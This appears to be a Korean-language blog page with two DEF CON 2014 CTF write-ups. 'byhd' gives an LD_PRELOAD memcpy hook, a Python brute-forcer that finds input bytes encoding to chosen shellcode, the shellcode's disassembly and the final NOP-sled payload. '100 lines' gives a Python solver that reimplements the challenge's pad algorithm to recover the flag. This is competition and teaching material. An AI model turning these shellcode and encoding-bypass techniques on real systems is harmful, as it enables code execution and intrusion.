검색결과 리스트
2014/05에 해당되는 글 2건
- 2014.05.19 [Defcon 2014] HJ(2) byhd write up
- 2014.05.19 [Defcon 2014] 100 lines exploit
글
I think It is not a good solution. I did just brute-force to find encoded shellcode.
It was first time to brute-force the remote binary, So I just want to share my experience.
The method is that I hooked server side. So, server side send the encoded value to client.
Then, client check if the encoded value is same with our shell code or not.
I repeated this method.
following code is server hooking code.
정확한 풀이는 아니고, 부르트포싱으로 풀었다.
리모트를 부르트포싱 해본건 처음이어서, 그 과정을 적어볼까 한다.
방법은 서버를 Hooking해서, 인코딩된 결과를 클라이언트로 전송해줬다.
그래서 한바이트씩 넣어보다가, 쉘코드와 일치하는 부분이 있을 경우 기억해두는 방식으로 했다.
아래는 서버 후킹 코드.
- // gcc -shared -ldl hook.c -o hook.so -fPIC -ldl
- #define _GNU_SOURCE
- #include <stdio.h>
- #include<sys/types.h>
- #include <dlfcn.h>
- void * memcpy ( void * destination, const void * source, size_t num ) {
- static void (*memcpy_real)(void*, const void*, size_t) = NULL;
- int i=0;
- if (__builtin_return_address(0) == 0x401c9e)
- {
- //FILE *fp = fopen("scode", "w");
- fprintf(stdout, "Memcpy: ");
- int length = num*2;
- send(4, &length, 4, 0);
- for (i=0; i<num; i++)
- {
- fprintf(stdout, "%02x ", *(char *)(source + i) & 0xFF);
- char buf[2];
- sprintf(buf, "%02x", *(char *)(source + i) & 0xFF);
- send(4, &buf, 2, 0);
- }
- //for (i=0; i<num; i++)
- // fprintf(fp, "%c", *(char *)(source + i) & 0xFF);
- //fclose(fp);
- fprintf(stdout, "\n\n");
- //system("ndisasm scode");
- fprintf(stdout, "-------------------------------\n\n");
- }
- if (!memcpy_real)
- memcpy_real = dlsym(RTLD_NEXT, "memcpy");
- memcpy_real(destination, source, num);
- }
컴파일을 한 후,
# LD_PRELOAD=./hook.so ./byhd
와 같은 방식으로 서버를 연다.
그리고, 아래의 코드로 부르트포싱을 돌렸다.
- from socket import *
- from struct import *
- import sys
- import time
- def recvuntil(s, length):
- result = ""
- while True:
- result += s.recv(1)
- if len(result) >= length:
- break
- return result
- #s.connect(('byhd_147e0accdae13428910e909704b21b11.2014.shallweplayaga.me', 9730))
- shellcode = "48 8b 4d c8 48 83 c1 30 48 81 e2 ff 00 00 00 5b 48 83 eb 15 ff d3"
- shellcode = shellcode.replace(" ","").decode('hex')
- answer = ""
- ii = len(answer)
- fail = False
- while ii < 250:
- found = False
- if fail != True:
- i=0xff
- fail = False
- while i>=0:
- s = socket(AF_INET, SOCK_STREAM)
- s.connect(('192.168.0.41', 9730))
- #print hex(i)
- s.send(pack('<L', len(answer)+1))
- s.send(answer+chr(i))
- length = unpack('<L',s.recv(4))[0]
- data = recvuntil(s,length)
- print data
- data = data.decode('hex')
- if len(data) > len(answer) and data[len(answer):] == shellcode[len(answer):len(data)]:
- answer += chr(i)
- print "[+] Found:",answer.encode('hex')
- ii+=1
- s.close()
- found = True
- break
- if data[:len(shellcode)] == shellcode:
- print answer.encode('hex')
- sys.exit()
- s.close()
- time.sleep(0.01)
- i-=1
- if found == False:
- print "[-] Fail"
- if len(answer) <= 1:
- break
- else:
- last = answer[-1]
- i = ord(last) - 1
- answer = answer[:-1]
- ii-=1
- fail = True
사용한 쉘코드는 아래와 같다. (팀원이 생각한 코드)
$ ndisasm asdf3 -b64 00000000 488B4DC8 mov rcx,[rbp-0x38] 00000004 4883C130 add rcx,byte +0x30 00000008 4881E2FF000000 and rdx,0xff 0000000F 5B pop rbx 00000010 4883EB15 sub rbx,byte +0x15 00000014 FFD3 call rbx |
최대한 짧게 하여, 우리가 입력했던 버퍼의 뒤쪽부붙을 다시 memcpy로 복사해서 콜 하도록 하였다.
그래서 최종적인 페이로드는 위에서 찾은 ( [인코딩된 문자] + "\x90"*50 + [쉘코드] ) 를 보내면 된다.
'Computer Security > CTF' 카테고리의 다른 글
[Defcon 2014] HJ(2) byhd write up (0) | 2014.05.19 |
---|---|
[Defcon 2014] 100 lines exploit (0) | 2014.05.19 |
[RuCTF 2014 quals] Reversing 500 (0) | 2014.03.11 |
[Codegate 2014 quals] Web 500 write up (0) | 2014.02.24 |
[secuinside 2013] debugd exploit (2) | 2013.11.28 |
[Secuinside 2013] angry danbi exploit (3) | 2013.11.27 |
트랙백
댓글
글
직접 알고리즘 분석해서, 파이썬으로 옮긴후 최적화를 한거라서 딱히 설명할것은 없고, 그냥 익스플로잇만.
- from socket import *
- import time
- randpad ="FC8A4551678CA9C0B0FDF76FB850F12F7A6266E3D3C36EBE373933683BC6761EAEAA83ED571AF129E6C1B99EDDA2862C1ADC499D8201D53AB5D333121CCE942BC3B06CBC4673395E7BC7B49E56F0AD725E83C705C5E92E85887994F7E7AC34FE5CCE2E13F1CC8EEA6083BEDC4ABBE8DF6520EF44ADFAD61283D5DC94AD1FE15FE8FA7E3FDA61E3DFAB5B4F2A6C2482AD1789BA29B946347464F745228DAF33D652B5DE10E4535D96B7E22ECBB175BC745A21298C57B3165EC7C8C22635482D3C607B5DDDA8296119D0EFEE6D04DD2051951D01E1DADAB4A546D9CBAF56B52005D06BD222212F2DD373975689AEAC02B635D21487C649DF0E178564E5AF6E9361".decode('hex')
- """
- def loop(table, size):
- idx1=0
- loop_count = size - 0x20
- while idx1 < loop_count:
- idx2=0
- calculated = 0
- while idx2 <= 3:
- calculated = calculated | calc(table, idx1, idx2)
- idx2 += 1
- idx3 = 0
- while idx3 < loop_count:
- idx4 = 0
- calculated2 = 0
- while idx4 <= 3:
- calculated2 = calculated2 | calc(table, idx3, idx4)
- idx4 += 1
- calculated2 = calculated ^ calculated2
- idx5 = 0
- while idx5 <= 3:
- offset = (idx3 + loop_count * idx1)*4 + idx5
- ecx = (((-idx5) & 0xFFFFFFFF) << 3) + 0x18
- eax = calculated2 >> (ecx & 0xFF)
- result[offset] = eax & 0xFF
- idx5 += 1
- """
- def calc(table, idx1, idx2):
- offset = (idx1 >> 3) + idx2
- edx = ((ord(table[offset]) << (idx1 & 7)) | (ord(table[offset + 1]) >> (8 - (idx1 & 7)))) & 0xFF
- ecx = (((-idx2) & 0xFF) << 3) + 0x18
- edx = edx << (ecx & 0xFF)
- return edx
- def optimized_loop(table, size, offset):
- loop_count = size - 0x20
- idx5 = offset & 3
- offset -= idx5
- offset = offset / 4
- idx3 = offset % loop_count
- idx1 = offset / loop_count
- calculated = 0
- idx2 = 0
- while idx2 <= 3:
- calculated = calculated | calc(table, idx1, idx2)
- idx2 += 1
- calculated2 = 0
- idx4 = 0
- while idx4 <= 3:
- calculated2 = calculated2 | calc(table, idx3, idx4)
- idx4 += 1
- calculated2 = calculated ^ calculated2
- ecx = (((-idx5) & 0xFFFFFFFF) << 3) + 0x18
- eax = calculated2 >> (ecx & 0xFF)
- return eax & 0xFF
- def calc2(idx1, idx2):
- global randpad
- offset = (idx1 >> 3) + idx2
- edx = ((optimized_loop(randpad, 0x7e0, offset) << (idx1 & 7)) | (optimized_loop(randpad, 0x7e0, offset + 1) >> (8 - idx1 &7))) & 0xFF
- ecx = ((-idx2) << 3) + 0x18
- edx = edx << (ecx & 0xFF)
- return edx
- def findAnswer(offset):
- loop_count = 0xf81000 - 0x20
- idx5 = offset & 3
- offset -= idx5
- offset = offset / 4
- idx3 = offset % loop_count
- idx1 = offset / loop_count
- calculated = 0
- idx2 = 0
- while idx2 <= 3:
- calculated = calculated | calc2(idx1, idx2)
- idx2 += 1
- calculated2 = 0
- idx4 = 0
- while idx4 <= 3:
- calculated2 = calculated2 | calc2(idx3, idx4)
- idx4 += 1
- calculated2 = calculated ^ calculated2
- ecx = (((-idx5) & 0xFFFFFFFF) << 3) + 0x18
- eax = calculated2 >> (ecx & 0xFF)
- return eax & 0xFF
- s = socket(AF_INET , SOCK_STREAM)
- s.connect(('100lines_53ac15fc7aa93da92629d37a669e106c.2014.shallweplayaga.me', 20689))
- time.sleep(0.5)
- data = s.recv(65000)
- data += s.recv(65000)
- data = data.split(None)[2:]
- print data
- OTP = [int(x[2:],16) for x in data]
- for i in range(0, 8):
- #s.send(findAnswer(int(data[i][2:],16)))
- #number = int(data[i][2:],16)
- #print hex(number)
- number = OTP[i]
- answer = findAnswer(number)
- edx = answer
- eax = edx*3
- eax = eax << 5
- eax += edx
- eax = (eax & 0xFFFF0000) + ((eax & 0xFFFF) >> 8)
- ecx = edx
- ecx -= eax
- ecx = (ecx & 0xFFFFFF00) + ((ecx & 0xFF) >> 1)
- eax += ecx
- eax = (eax & 0xFFFFFF00) + ((eax & 0xFF) >> 6)
- ecx = 0x5D
- eax = eax * ecx
- edx -= eax
- eax = edx
- eax = (eax & 0xFF) + 0x20
- print hex(eax)
- s.send(chr(eax))
- time.sleep(3)
- data = ""
- data += s.recv(1024)
- data += s.recv(1024)
- data += s.recv(1024)
- data += s.recv(1024)
- data += s.recv(1024)
- data += s.recv(1024)
- data += s.recv(1024)
- data += s.recv(1024)
- data += s.recv(1024)
- data = data.strip()
- flags = data.split(",")
- if len(flags) > 1:
- flags = [int(x[2:],16) for x in flags]
- answer = ""
- i=0
- while i<len(flags):
- answer += chr( findAnswer( OTP[i] ) ^ flags[i] )
- i+=1
- print answer
- s.close()
'Computer Security > CTF' 카테고리의 다른 글
[Defcon 2014] HJ(2) byhd write up (0) | 2014.05.19 |
---|---|
[Defcon 2014] 100 lines exploit (0) | 2014.05.19 |
[RuCTF 2014 quals] Reversing 500 (0) | 2014.03.11 |
[Codegate 2014 quals] Web 500 write up (0) | 2014.02.24 |
[secuinside 2013] debugd exploit (2) | 2013.11.28 |
[Secuinside 2013] angry danbi exploit (3) | 2013.11.27 |